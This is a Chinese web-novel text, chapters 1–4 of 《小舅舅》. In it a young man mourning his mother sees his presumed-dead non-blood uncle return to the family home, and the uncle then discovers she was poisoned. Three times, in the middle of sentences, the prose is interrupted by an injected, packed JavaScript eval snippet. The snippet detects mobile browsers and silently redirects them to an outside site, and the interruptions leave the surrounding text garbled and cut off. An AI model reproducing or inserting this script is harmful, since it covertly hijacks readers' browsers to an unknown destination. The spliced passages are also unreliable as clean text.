《小舅舅》 1. 1-归来 傅承轩重登傅家大门那日,傅念斐正在灵堂偏室跪着接受傅家长辈们的“关怀”。 时值盛夏,蝉鸣聒噪。 傅念斐却觉得屋里这零星几人比夏蝉更吵。 正对面是强忍怒气、永远觉得别人不懂事的傅家家主——他外祖父。 左边是每天推十小时牌九,骨牌响多久她能说多久的傅家二姨太——他外祖父的二房,也是傅家最得势的姨太太。 右边是鲜少发表言论,却常用一双死鱼眼阴森森盯着别人打量的傅家老太太——他外祖父的娘,不过这娘不是亲的,是他曾外祖父为了冲喜娶进来的五姨太。 小小一间偏室,坐着三个跪着一个,跪着的那个才是傅念斐,已经快两个小时了,没人心疼他让他起来。 傅念斐他娘倒是不必跪,正在隔壁灵堂的棺材里躺着,算上今天刚死三日,明早出殡,能比傅念斐少生不少冤枉气。 二姨太刚放下润嗓子的茶碗就又开始说话,鲜红的嘴唇像两片专事凌迟的软刀,刮得傅念斐耳蜗生疼。 “念斐呀,你刚刚满二十岁,大学还没毕业,学的都是新文化新思潮,懂摩登不懂养家,更不懂你外祖父要管好傅家里里外外这么多口人有多难。” “唉,你记得你舅姥爷不?就是我哥哥,上次来家里吃饭的那位警察局长,喏,他不是说了么,现在时局不好,到处打仗,生意不好做的,好多商人大户都撑不下去了。咱们家前些年订了那么多德国机器,原打算大干一场,谁承想奉城和平城突然就打起来了,最近连铁路都给炸掉了,那可是铁路啊,奉城就那一条铁路……哎呦,真是让人难受死了。现在奉城的东西进出只能靠货轮,还不知要排队到什么时候。傅家难过,傅家的债主也难过,前几天又来要债,你说这可怎么办哦念斐……” 她说完就哭,柔软的丝缎手帕折起来贴在眼睛底下,贴了半天仍旧干爽,嘴里发出呜呜的声音,响起来甚至有回音,傅念斐差点以为铁路并没有被炸掉。 “我明白二太太的意思,外祖父……” 傅念斐抿抿嘴唇,抬起泪水充盈纯真诚恳的眼睛,白皙的脸几乎要和葱白长衫融为一体,看起来比正在鸣笛的二姨太可怜一百倍。 他说:“您放心,我一定加倍努力学习,争取提前毕业,公派留洋的事我不想了,一毕业就到傅家的布庄工作,帮外祖父一同支撑傅家。” 二姨太:…… 谁用你进傅家的产业?! 傅家主气得闭了闭眼睛,压着嗓子柔和道:“你这年纪学习为重,不急于一时。外祖父知道你向来懂事,但傅家现在是燃眉之急,唉,你娘……云珠她临去之前,给你留了什么东西没有?” “东西?”傅念斐表情十分迷茫,他在傅家主和二姨太期待的目光下于脖颈处倒腾了半天,终于拽出一块剔透的玉。 看到玉的一瞬间,傅念斐积蓄已久的眼泪啪嗒啪嗒便从眼眶里滴了出去,表情痛彻心扉,比刚刚停止鸣笛的二姨太又可怜了一百倍。 “外祖父是说这块玉吗?这还是我外祖母留给母亲的嫁妆,外祖父应当认识。也对,现在傅家情况不好,我虽然还是个学生,没有薪水,但身为傅家的长孙,总该做些贡献。” 他吸着鼻子膝行向前,把玉往傅家主手里一塞,痛苦地锤了两下外祖父古稀之年的脆弱大腿,随后才心满意足伏在地上大哭。 “外祖父把玉拿去救急吧,孙儿无用,手头只有这些了。好在现在是暑假,等娘头七一过,孙儿就去洋行找份短期工作,赚到的薪水都给外祖父,陪傅家共度难关。” 听听,听听,傅家的长孙多孝顺,云珠小姐柔顺良善,连儿子都教养得这般好。 门外有两个受过傅云珠恩德的佣人,闻声同悲,也跟着传出几声压抑地啜泣。 二姨太杏眼一瞪:“哪个没眼力见儿的在门口听墙角?念斐小少爷正难受,你们跟着起什么哄?站远点儿!” 门口一阵脚步窸窣,静谧如初。 傅家主忍着大腿闷痛赶紧把手心里的玉塞还给傅念斐,生怕第二天就传出他盘剥长孙的新闻:“像什么话,外祖父再难也不差你这块玉和薪水,赶紧收回去,快,收好。” 傅念斐抽抽噎噎把玉塞回长衫,泪珠子仍往地上砸,薄薄的眼皮已经肿了。 “外祖父,我娘去得匆忙,刚把玉塞给我就喘不上气了,整张脸憋得发紫,想来还有很多要说的话,却没来得及说。我今晚想给我娘守夜,求求她托梦给我和外祖父,让我们还能见她最后一面,共叙父女母子之情!” 托梦。 吓死你们。 傅家主面色发绿,拍了拍傅念斐的肩膀只挤出一句话:“好孩子,你向来懂事……” 好孩子,孝顺,文弱,懂事,爱学习……这是傅家上下对傅念斐的印象。 可惜这样的“好孩子”撑不起偌大一个傅家,将来掌家权必然要落在娘家强势的二房,这也是傅家公认的事。 原本傅念斐和他娘觉得这样不起眼地过一辈子也很好,不招灾不惹祸,活得长。 只可惜傅家塌得太快,终究流落到连自家女儿的床铺都要抖两下看有没有藏铜板的份儿上…… 他外祖母出自晋城巨贾,当年十里红妆嫁到巨富傅家当大太太。他娘是傅家大小姐,留在傅家招了赘婿,吃喝全在傅家,也没有婆家需要帮衬。 虽说外祖母的娘家已因战火凋零散落,可作为傅云珠唯一的儿子,傅念斐说自己没钱,谁信? 傅念斐借擦眼泪的姿势疲惫地闭了闭眼睛,他是真不知道自己能顶到什么时候。 他甚至想过,会不会有一天他也会像小舅舅一样,被二房找个败坏门风的由头打二十脊杖扔出去自生自灭? 小舅舅习过武,尚被打得血肉模糊。换成他,估计十杖就死了吧? 傅念斐攥着胸口处的玉,想起失联半年的小舅舅就心脏胀痛、憋闷无比,索性也不擦眼泪了,任凭一双眼睛水龙头一样哗哗流。 眼睛肿了才好,装可怜更方便。 坐着的人和跪着的人相顾无言,再开口必定又是新一轮试探。若不是傅念斐今晚想给他娘守夜,他绝对会装晕。 装晕之前更要大哭一通,再借机捶他外祖父两下泄愤,然后大喊一声“娘”,随即向后仰倒,再抽搐两下…… 到时以他外祖父的个性肯定怕传出去有失傅家颜面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286095|182603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至少连续几天都能让他睡个好觉。 这招还是跟二姨太学的。 他之前在娘面前演练过几次,傅云珠点头说虽下作但好用,可以试试,然后母子俩便笑作一团。 不过这些“趣事”傅念斐向来不敢在信中写给小舅舅,行军打仗最忌心焦分神,他实在不想再失去小舅舅一次了。 可奈何枪炮无心无眼,分辨不出哪些人该死、哪些人应活。自半年前,傅承轩便再没寄信过来,至今不知生死…… 回忆一旦开始便无穷无尽,傅念斐看着绀红色的木地板发愣,他实在想不通老天爷到底是更爱好人还是更爱坏人。 或许自己该改信耶稣。 两条街外就有一间洋人礼拜堂,和上帝来往也甚是方便。 “老、老爷!承承承承承承……” 此时年近四十的佣人长喜跌跌撞撞地猛推开门,黢黑的脸上除了豆大的汗粒子更有天大的不可置信,一句整话都没说全。 老太太阴森打量的眼神挪到长喜身上:“这家管得真没规矩。” 负责管家的二姨太又热又烦,“啧”一声:“结巴什么?是承闲回来了吧?一大早就出门现在才回来,简直不成样子,赶紧让他过来陪念斐说说话。” 说客又要多一个。 傅念斐忍不住想皱眉。 “不……不是!”长喜站在大太阳地下发抖,“是承轩少爷……承轩少爷回来了,说来给云珠小姐上香。” 傅念斐猛然睁眼。 谁?! 傅承轩早死了,这是全城皆知的事。二姨太面色僵硬,差点以为自己听错了:“中暑了吧你?快去警察局叫我哥哥派人过来,看看哪儿来的下九流敢冒名顶替到傅家骗吃骗喝!真是胆子大得很!” 傅家主同样面色一沉开口训斥:“青天白日!胡说什么!把那人带进来!我倒是要看看,谁敢在傅家……!” “放肆”两字尚未出口,院内便踏进一条裹着西装裤的长腿。 傅家是做布庄和成衣生意的,打眼一看便知道这料子和剪裁非同凡响。对方步子更是不紧不慢,看起来十足派头。 这张脸离开傅家的时候刚十八,尚稚嫩,如今二十六了,也不知经历过什么,竟让人觉得威势逼人。 傅家主一时不敢认,但傅承轩又实在太好认了。这孩子是中俄混血,眼睛细看是灰蓝色的,身材比同龄人更高大,肤色略浅,轮廓分明,右侧眉峰下有一颗深红的小痣……像他娘。 是他。 真的是他。 竟然没死成…… 傅承轩踱进傅宅的时候阳光正好,树荫在他挺括合身的浅色西装上落下深浅不一的树影,似宣纸表面舒展腾跃的云雾,贵气。 二姨太一口气哽在喉咙,傅家主嘴巴开合半晌也没能说出一句话,老太太探究的目光在傅承轩及其身后随从身上游移。 死人归来。 傅家上下心虚的心虚、好奇的好奇,上百道目光盯着傅承轩打量。 傅承轩隔着众人,捕捉到仍跪在屋里僵硬、不可置信的傅念斐背影,嗓音放轻,此刻才说出踏进傅家的第一句话。 “念斐,过来。” 2. 2-舅甥 傅承轩收到傅云珠死讯的时候,平城和奉城两股军阀势力正在打最后一场仗。 盘踞奉城的赵大帅见势不好,坐上火车想逃,剩下的散兵游勇为了给赵兴争取逃亡时间拼死抵抗。 傅承轩他亲爹宁大帅正坐镇平城,奉城是给他这位少帅当乐子用的。一群末路兵将,缓缓清扫干净,再由傅承轩——也就是少帅宁佑霆亲自带领宁家军占据奉城,这将是少帅学习如何治城的开始。 然而前几日奉城突然传来消息,说傅云珠突发疾病身亡,停灵三日便要下葬。 原本打算多等几日,将赵系军阀余孽连根拔起的傅承轩顿时心急如焚,次日便亲自带人潜去炸赵大帅的火车。 暗杀成功,赵大帅死得七零八落,主帅死军魂散,傅承轩又花一天时间缴械俘虏,换掉奉城城防,这才紧赶慢赶,赶在傅云珠出殡之前回到傅家。 因为心急,炸火车的时候被手雷碎片崩了一下,腰腹处划了好深一个口子,现在还疼。 傅承轩带着伤踏进傅家大门,看到的便是傅云珠尸骨未寒,棺木寒酸贡品寥寥,傅念斐在亲娘尸身隔壁只身长跪、眼皮肿胀,跪得连起身都困难。 多年未见傅家人。 不仅家资缩水,连德行也要缩没了,亲外孙都苛待,真是好样的。 “别乱动。” 傅承轩踏进偏室,仗着臂力强悍把刚比自己肩膀高的傅念斐一把拉了起来,安置在旁边的椅子上。 二十岁的小外甥怎么说也是个成年人,看着清瘦但体重不轻。傅承轩伤口顿时一痛,浓眉皱起,猜测伤口裂开了。 傅念斐打从他过来就一直盯着他看,一寸一寸看,从眉毛看到眼睛,从眼睛看到嘴唇,半句话都未说,看得很贪婪。 真是舅舅,他的小舅舅。 久别重逢,眼泪已在刚才哭干了,现在反倒哭不出什么,只觉得上天恩赐,高兴都来不及。 傅承轩让傅念斐做什么他就做什么,举止乖顺,傅承轩皱眉后他就更乖了,他觉得舅舅在生气,因为自己跪得太久了。 傅承轩的确生气。 但他舍不得生傅念斐的气,只能气傅家人。 “疼?”傅承轩半蹲在傅念斐身边撩开对方的长衫下摆,伸手去捏膝盖。 他怕傅念斐太实诚,把膝盖跪坏了,若是落下病根恐怕不……傅承轩顿了一下,眸中漾起笑意瞥傅念斐一眼。 傅念斐此时才缓过神儿,红着脸按住傅承轩几乎能包裹住自己整个膝盖的手,攥紧不放,小声说:“腿没事儿,刚是麻了。” 膝盖上绑了护膝,除了热点儿没别的害处,他向来很听小舅舅的话,这些年已经学会了跟傅家人动心眼儿。 傅承轩眉毛一扬,拇指摩挲了一下小外甥的手背权当安抚,转而在傅念斐小腿肚上捏了一把。小腿正麻着,针扎般难忍,傅承轩手劲儿大又捏在穴位上,傅念斐嗷一声就叫了出来,吓得在场众人一激灵。 不过腿倒是舒服了不少,傅念斐眨眨眼。 傅承轩站起身,侧脸冷峻威严,声音不大不小刚好让在场人听到:“膝盖肿成这样怎么还跪着?就算你娘没了,没别人心疼你,自己也得心疼自己。” 什么叫“你娘没了,没别人心疼你?”,傅家的其他人不是人吗? 这话让傅家主很失面子,原本面对傅承轩的心虚也冲散了几分,他心道承轩这孩子多年不见竟然半点没变,横冲直撞不知何为大局,经常令人难堪,十分不懂事。 “念斐膝盖不舒服?怎么没跟外祖父说?”傅家主看看傅念斐,“唉……你要记着,我先是你外祖父,然后才是傅家的一家之主。你娘死了,外祖父将来就是你最亲的人。从今往后无论发生什么,外祖父都会替你做主。” 傅念斐左耳听右耳冒,重新攥紧傅承轩的手,他心道舅舅的手比当年大了好多,好像还有疤和茧子,真令人心痛。 同时敷衍点头:“嗯嗯,知道了外祖父。” 傅家主被低眉顺眼的长孙治愈了,便对傅承轩道:“承轩啊,当年你的事传回来,傅家上下都急坏了,既然平安,怎么不告诉家……” 对方话未说完,傅承轩就垂眸看向坐在椅子上的小外甥,用另一只手的指腹蹭了下傅念斐嘴唇:“干成这样,多长时间没喝水了?” 傅念斐的脸蹭地红了,抿住嘴唇,只觉得上面似有余温。傅承轩盯着他看,一言不发但眸光灼灼,傅念斐被看得心慌意乱、浑身冒汗,他没抬头,不敢。 “现、现在就喝。” 傅念斐提起茶壶倒满整杯,吨吨往下灌,像只小松鼠。傅承轩简直想笑,觉得伤口都不疼了,他拂过小外甥红肿的眼皮,心脏也随着傅念斐的眼皮一起肿胀起来:“慢点儿喝。” 傅家主被忽略个彻底,面色不好看,二姨太更是直接发飙:“傅承轩!你这是摆脸子给谁看呢?老爷当初怜你无父无母孤苦伶仃,把你带回傅家教养。反倒是你,在老太太的生辰宴上做下那等丑事令傅家蒙羞!当时全奉城的人都在看傅家笑话,按理说就该乱棍打死你!可老爷心善,只打了你二十棍家法,还同意送你出国留学。后来是你自己命不好,遭遇匪患,可傅家不计前嫌帮你立了衣冠冢和长生牌位,每逢年节都给你供香火。结果你呢?现在是发财了是吧?回傅家逞威风来了!真是好大的威风啊!” 二姨太说得激动,对傅承轩指指点点,恨不能把鲜红的指尖直接戳在傅承轩额头上。 她过去常这样对傅承闲和傅承轩两人,只不过戳自己儿子的时候点到为止,戳傅承轩的时候就力气大的像要直接戳进对方脑子里,明显想让这位帮着傅云珠母子对付二房的小混蛋早死早超生。 可现在的傅承轩已经不是十岁出头的孩子了,比她高大比她壮实,眼神令她看不透,还带着一看就不好惹的随从。 身形干瘦的随从抬手拦住二姨太,他长了一张笑脸,看着很和善,手劲儿却不小:“这位太太,我们东家听人说话的时候不喜欢对方靠太近。” 二姨太差点气死:“松开我!你算哪根儿葱,也敢碰我?小心我让汪局长把你们这些腌臜东西抓起来,好好教训教训!” “小六。” 干瘦随从闻声一笑,松了手。 傅承轩淡淡道:“二太太多担待,当年那二十脊杖让人记忆犹新,为防势单力孤往事重演,我这才带了几个帮手。” “哎哟老爷!!!”二姨太红唇一扯,转投傅家主怀抱,嚎得震天响,“老爷你看看他呀,咱们傅家养他这么多年,明明是他不知感恩做下那等肮脏事,他却记恨上咱们了?” 她狠瞪傅承轩一眼:“那你回来干什么!给傅家添堵吗?!” 傅承轩面色如常:“当年的事暂且不论我是不是受人陷害,单看傅家现在这情况,债主快比长工多了,还用我来添堵吗?” 傅家主和二姨太一噎。 傅承轩反握住傅念斐的手,指尖循着对方骨节描摹,缓缓道:“傅家如今艰难,葬品微薄,我很体谅,但我云珠姐不能受委屈。明天她出殡,必须得换副像样的行头,否则我心里难受也不会让别人好受,请你们体谅。” 他话音一落,刚伸手拦二姨太的随从小六便利落地踏出院子,也就几个呼吸间,院外便传来一阵吵吵嚷嚷的喧闹声。 又两个傅家的佣人连滚带爬地进来,随后便是一群汉子搬着箱子、抱着盒子鱼贯而入,最后还有几人抬着一个硕大的棺材——金丝楠木的,咣当一声直接放在院中央。 金黄色棺木流金溢彩跟块大金砖一样,院里的丫鬟婆子都忍不住偷瞄,感叹傅家最富的时候好似都没有这等阵仗。 那两个拦人未果的佣人气得直蹦:“老爷,他们抬着东西就往里闯,根本拦不住!” 傅家主面色青红变换,几乎有要厥过去的征兆:“孽障!真是孽障!你是想气死我!” 傅承轩还是那副淡淡的表情,连声音都不曾高一点:“气死?不至于吧。听闻三姨太的儿子快满周岁了,家主您身体康健、龙精虎猛,长命百岁恐怕不是问题,将来还会有四姨太、五姨太、六姨太,能生十个八个儿子,各个都是青年才俊,能在傅家的产业里担当大任,何必因为这点小事气死。” 二姨太:…… 哈!我要气死了!只三姨太生个儿子都让她新添几条皱纹,若是再生十个八个,她也别活了! 傅承轩又道:“等帮姐姐换完行头,我这个孽障立刻就走,一分钟都不多留,还请家主行个方便。” 他说完,手底下的汉子们便当着傅家上下的面打开那些箱子盒子,露出满满的陪葬品。 除了那具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286096|182603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金丝楠木棺外,其他东西并不多奢华,更无甚小黄鱼银元之类的黄白之物,反倒全是女孩家喜欢的玩意儿。 香云纱和乔琪纱的旗袍,软缎绣花睡衣和配套的绣花织锦拖鞋,各色珐琅镜、折扇、欧洲来的香水和丝巾,看着就暖和的狐裘外套和女士手套、遮阳帽,还有时下流行的雪花膏。 在场的只要不傻,都能看出这才叫用心准备的东西,反正比二姨太筹备的那些耳坠子、小摆件强多了。 傅念斐的眼圈瞬间就红了。 他娘生前爱漂亮,但并不奢靡。傅云珠手巧,一根丝巾便能让她玩出花来。头发不剪、不烫、不追求摩登,黑发如墨,发髻却总有新式样。 他记得有回过年,彼时傅承轩还是个十六七的半大小子,傅念斐自己十岁出头,更小。 小舅舅说他将来要考平城的大学,赚大钱,给他们母子买数不尽的好东西。 傅念斐就跟着起哄,大喊我也给娘买,我也给娘买。 傅云珠没客气,叽叽咕咕说了好多,傅承轩听得很认真,傅念斐听得稀里糊涂,不明白他娘喜欢的东西有什么好。 这事儿傅念斐自己都要忘了,没想到傅承轩全记得,箱子里的一样样东西,竟都是傅云珠当年提过的。 他娘曾说,你小舅舅是个深情又长情的人,这种人怕是会吃点儿苦。 现在想想的确是,小舅舅就是太信傅家,才会吃这么多苦。 傅家主盯着东西尚未开口,一直旁观的傅家老太太反倒率先开口:“要我看,就让他给云珠换套新行头,也没什么不好的。” 她咳嗽两声,老迈的眼睛扫过傅家主:“承轩这孩子,一走多年没个消息,要不是云珠去了,可能人家也没想回来。做弟弟的给姐姐尽份心,让云珠风风光光地去,挺好,没碍着傅家什么。若是你非拦着,让云珠明日一副薄棺出殡,有好东西也不用,这才让全城的人笑话,说傅家绝情,所以才子嗣凋零。” 傅家主:…… 子嗣凋零。 这是傅家最忌讳提起的词,也是傅家主最在意的事。 傅家主共有三房姨太太,富贵的时候更是外室一堆,结识的交际花也不少。可不知怎么回事,除了傅云珠和傅承闲这一对儿女,只刚进门没几年的三姨太才给傅家又新添个小儿子。 现在老太太当着傅家上下这么说,傅家主明显不高兴,可即便这样,他也一个字都不敢驳,只嘴角抽动说了句:“姨娘教训的是。” 老太太冷笑:“我可当不起你这声姨娘,我累了,回去休息,你们闹吧。” 二姨太瞥着老太太的背影渐远,又看了眼明显不快的傅家主,第不知多少次疑惑,这二位非亲母子间到底有什么仇怨…… - 最终傅家主还是妥协了。 因为他突然觉得,同意傅承轩的请求于他而言没什么坏处。 傅云珠丧事办得风光,那些天天来要债的债主看到傅家多了个形容富贵的傅承轩,或许会多给傅家宽限些时日也说不定。 只是不知道傅承轩现下是个什么身份,有没有靠山,这事儿还得拜托他那大舅子汪局长查查才好。 傅家主沉默地盯着傅承轩一行人换掉棺材、陪葬品。盯着傅承轩亲手换了傅云珠嘴里的口玉,见到他姐姐最后一面。盯着傅念斐,这个傅家长孙,站在他那非亲非故的小舅舅身后半步不离、团团转,反倒把自己这个外祖父撇到一边。 此时此刻,傅家主只觉得二夫人说的不错,大房净出白眼狼…… 不知为何,他阴森沉默的眼神,此时莫名跟傅家老太太相似了些。 一切落定后,傅承轩拉着傅念斐的手腕,打算给傅云珠上炷香。 明明是夏天,傅承轩的手却有点凉,可即便是这样,傅念斐仍凭空生出某种不可思议的预感,自己终有一天会在小舅舅微凉的手里融化掉…… “上完香我就走了。”傅承轩低声道。 傅念斐脑子嗡一声,脱口而出:“我跟你一起走。” 不是“别走”,而是“我跟你一起走”,这话傅承轩爱听,他弯起唇角:“想什么呢,我只是不好在这儿住,人还在奉城。” 傅念斐紧盯傅承轩,“嗯”了一声。 傅承轩捏捏他手心:“别怕,舅舅给你撑腰。” 3. 3-夜会 奉城四季分明,盛夏时分只要太阳落山,天气就没那么热。再加上为了停灵防腐,灵堂里放了好些冰,入夜更是凉丝丝的。 但傅念斐心里仍然躁得慌。 下午傅承轩走后,整个傅家陷入某种异样的沉默,就连向来“团圆”的晚饭都没人到饭厅吃,全是各自拿到房里用的。 傅念斐乐得如此,简单吃几口就又回到他娘灵堂里跪着,整颗心都飞到久别重逢的小舅舅身边。 别人嫌灵堂晦气,不愿靠近,对他而言反倒是安静,能安心思念朝思暮想的人,还能跟他娘说两句知心话。 “娘,小舅舅模样变了好多,您白天看到没有?壮了,但矮了。”傅念斐忍不住笑笑。 他知道傅承轩没矮,是高了,之所以显得矮,是因为自己长高了。 但傅念斐在他娘面前说话向来这样,没个正形儿,只是为了逗逗他娘。 可他娘已经不会回答他了。 傅念斐抿了下唇又有点儿想哭,已肿成桃子样的眼睛却着实一滴泪都榨不出来,只余胸腔内处酸、麻、胀、痛,再次尝到人生无奈、五味杂陈。 “娘,明天您就出殡了,今天是最后一次当着您的面儿,我有件事想跟您说,求您别骂我……” 傅念斐垂着头,怕门外有傅家佣人走动误听,因此声音异常小。 他说:“小舅舅是八年前被傅家打出去的,那时候我十二,不知道他犯了什么事儿,也没人跟我说实话。我只知道他被土匪绑了,死得惨,这辈子都回不来了。我伤心的好几天没吃下饭,又大病一场,差点把您急死。后来想想那时候真是不懂事,小舅舅没了,您肯定也难受,却还要跟着我操心,是我不孝。” “老天成全,一年之后小舅舅突然来信,说他没死,咱娘俩抱头痛哭一整宿,差点高兴疯了。您说小舅舅和我爹不对付,这事儿不能告诉我爹,更不能告诉傅家人,连外祖父都不能说。我那时候才恍惚明白小舅舅的事儿有问题,自此只有咱娘俩知道小舅舅还活着,跟他偷偷通信。” “小舅舅的信快则一个半月一封,慢则两三个月一封,但从没断过。您说信是盼头,收到的时候的确高兴,却不让人安心。当时我只觉得您多思多虑,并不明白是什么意思。” “后来渐渐长大,上了学堂,听留过洋的老师讲什么是战争、什么是飞机大炮、什么是人民苦难,闻懂信纸上是硝烟味儿,看到送信人身上有刀疤,才明白小舅舅信上写的「最近安好」可能是安慰人的话。然后……突然人就成熟了,懂了什么是牵挂。” 傅念斐攥紧手心,吸了吸鼻子:“或许人这辈子,永远是怕什么来什么,盼什么没什么。原本最多三个月便会寄来一封的信,突然就断了。您怕我再大病一场,在我面前不敢提他,我面上跟您说人各有命,看开了,实际每天夜里都会偷读小舅舅当年寄过的信,还抱着信睡觉,这样的日子一过就是半年……娘,等信太苦了,等不到信更苦。这种事儿经历过第一次、第二次,就不敢再想第三次,真折磨人。” 傅念斐越说越哽咽,他磕了个头,将眼睛埋在手背上:“这半年,我想了很多,想了许久才想通,没有外甥对舅舅是这么……这么样一种感情的。今天上午,您不知道我看见他的时候多高兴,高兴得快死了,我当时就想……我……” 傅念斐深吸一口气,给他娘磕了三个响头,咬牙吐出最后一句话:“我当时就想,我不要再做他外甥了。” - 傅家后院。 傅承轩翻墙翻得轻而易举。 有二姨太的亲兄长汪警察局长这层关系在,没债主敢来傅宅大闹,所以傅家的家仆守备惫懒极了,算是便宜了傅承轩。 白天那趟,既是送东西也是踩点,好在傅家内院这些年几乎没什么变动,傅承轩借着月色易如反掌便摸到灵堂附近。 负责守灵的家仆怕晦气,正在凉亭里打盹儿,傅承轩悄无声息推开窗缝,恰好看到刚给亲娘磕完响头的傅念斐,他八年未见的小外甥。 自己离开傅家的时候刚十八,小外甥十二,现在对方都二十了,到结亲的年纪了,长高不少,脸颊也没了少年时的婴儿肥,变化真大…… 他站在窗边凝视半晌,眸中暗含些许说不清道不明的爱怜。心道,小哭包眼睛好像更肿了,和小时候一样,说哭就哭,弄不清怎么就那么多眼泪。 傅承轩心中滋味难言,想碰碰对方的念头已高过一切,他翻窗而入,站在傅念斐身后道:“还跪着?” 他这突然一出声儿给傅念斐吓了一大跳,差点直接叫出来,傅承轩连忙捂住小外甥的嘴:“嘘,别怕,是我。” 傅念斐眼睛生的好看,如今肿成桃子的眼睛也怪会说话的,从两条拼尽全力才能睁开的惊讶缝隙,变成“原来是你啊”的放心缝隙,把傅承轩给逗乐了。 傅承轩笑着收回手,背在身后,搓了搓指尖:“眼睛肿的像核桃上的缝儿。” 核桃? 傅念斐大惊,连忙捂住眼睛:“丑吗?” 他今天没照镜子,只知道眼睛涨得难受,却不知道到底肿成了什么样:“那你先别看我,过几天才能好呢,到时候再看我。” 小舅舅阔别多年归来,自己却肿成一条胖头鱼,这让刚跟亲娘表明心迹,准备自己给自己做舅妈的傅念斐很气馁。 傅承轩眸中带笑,屈指弹向小外甥额头:“不丑,肿的都看不清你什么样。” 傅念斐:…… 真气人。 傅承轩拉着跪在垫子上的傅念斐站起来:“灵堂又没别人,跪着干什么?你娘不会在乎你这点儿虚礼。” “明天就出殡了,今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286097|182603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚……也该磕头的。”傅念斐心虚,眼神游移,好在他眼睛够肿,眯缝着眼睛傅承轩看不清。 傅承轩点点头没说什么,随后便像傅念斐一样也磕了三个头,又上了一炷香。 他磕头的时候傅念斐在他旁边看着,很不合时宜地想:娘……将来,若是我的愿望成了,我和小舅舅今天每人磕过三个头,就算拜过高堂了,成么? 可他转念又想,不对,若是真成了,小舅舅肯定愿意陪他再拜一次高堂的。 他又又忍不住继续想,若是真成了,就不该叫小舅舅了,得叫承轩……也不对,舅舅是有本名的,叫阿霆……那还是叫阿霆更好些吧? 阿霆、阿霆、阿霆…… 傅念斐一边发呆一边脸红,而且脸越来越红,活像百乐门招牌上的霓虹灯,再配上那两只桃子眼,怎么看怎么不对劲。 傅承轩忧心他跪了一天身体不适,便伸手贴贴傅念斐的额头:“是不是不舒服,过敏了?还是发烧?” 那只微凉的手贴过来时有股皂香,傅念斐猛地回神:“没有。” 他心知肚明自己这是发痴呢,每回小舅舅家信快到的时候他都这样,望眼欲穿的,他娘路过他的时候还会慢悠悠打趣一句:又发痴呢? 傅云珠是调侃他,说他盼舅舅盼得都痴傻了,根本不知道她的好儿子存了别的心…… 傅承轩怕他难受还忍着,就先摸额头又捏脸颊,虽说肤色红粉依旧,但皮肤不烫也没长疹子,他这才不担心了。 “没事儿就好。”傅承轩拍拍小外甥的后脑勺,又揉了两下,“来帮我个忙。” “嗯?” 傅承轩开口既惊雷:“帮我把棺盖推开。” - 白天傅承轩这一通倒腾,也不单是为了给傅云珠换行头这么简单,他总有种预感,觉得傅云珠死得蹊跷。 至于是不是真蹊跷,等下就知道了。 特制棺盖下有静音滑轮,夜里滑动也不吵,棺盖推开后傅承轩便把傅念斐支走到一边,戴上胶制手套,将白天亲手塞到傅云珠嘴里的口玉拿了出来。 玉上有特殊涂层,如果傅云珠是因毒而亡,便会…… 便会发黑。 如眼前这玉一样。 “……小舅舅,怎么了?”傅念斐盯着傅承轩骤然蹙起的眉心,似有所感。 傅承轩一言不发,他闭了闭疲惫的眼睛,将表面发黑的口玉裹进手套揣兜,给傅云珠塞进一块儿新口玉,最后沉默地推上棺盖。 金丝楠木棺盖缓缓闭合,发出一声沉闷的低响,傅承轩忍住因大力开合棺盖而带来的伤口钝痛,将额头贴在棺盖上。 随后,他用极小的声音说了一句话:“姐,我帮你报仇。” 可他刚说完这话便生起新的忧虑,傅云珠都中毒了,那傅念斐呢? 4. 4-邀约 “念斐。” 傅承轩在铜盆里洗了三遍手,用随身的帕子仔仔细细擦净每一根手指,招呼傅念斐过来。 他揽过小外甥的后脑勺,用食指指腹轻点对方下唇:“张嘴,我看看。” 傅念斐还懵着,不知道怎么回事,他看着傅承轩严肃的表情乖乖张嘴,随后便感觉到对方两根修长的手指伸进自己嘴里,拨弄起他的舌头。 “唔……!” 傅念斐差点吓死,眼如铜铃,但小舅舅这么做一定有他的道理,所以他乖乖站着没有动。 若有慢毒累积,齿侧必定泛黑。 傅承轩仔细检查傅念斐的口腔,所思所想全是他小外甥的小命,半点旖念都无。 灵堂光线昏暗,后槽牙看不清,傅承轩用指骨顶顶傅念斐的上颚,习惯性发号施令:“嘴巴张大点。” 小舅舅说什么他做什么,傅念斐把嘴巴张大,却感觉自己口水都要流下来了。 他紧张地喉结处不停吞咽,伸手攥住傅承轩的西装扣子,喷着热乎乎的鼻息喊了一声含混不清的:“舅舅。” 傅承轩“嗯”一声。 他向来这样,知道傅念斐只是习惯性地叫他,没有任何目的更没有想说的话,但他还是会应,这点让傅念斐很安心。 “忍忍,马上好。” 